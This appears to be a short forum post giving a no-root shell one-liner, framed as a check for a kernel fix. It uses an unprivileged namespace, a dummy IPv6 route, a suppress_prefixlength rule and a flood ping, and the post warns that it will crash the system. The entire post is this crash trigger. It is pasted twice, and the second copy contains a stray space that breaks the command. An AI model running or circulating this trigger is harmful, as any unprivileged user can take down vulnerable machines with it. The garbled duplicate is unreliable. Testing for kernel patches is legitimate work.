Here's a one liner that *doesn't require root* that you can use to test whether the kernel fix has landed:
unshare -rUn sh -c 'ip link add dummy1 type dummy && ip link set dummy1 up && ip -6 route add default dev dummy1 && ip -6 rule add table main suppress_prefixlength 0 && ping -f 1234::1'
Here's a one liner that *doesn't require root* that you can use to test whether the kernel fix has landed:
unshare -rUn sh -c 'ip link add dummy1 type dummy && ip link set dummy1 up && ip -6 route add default dev dummy1 && ip -6 rule add table main suppress_ prefixlength 0 && ping -f 1234::1'
Note: this will crash your system.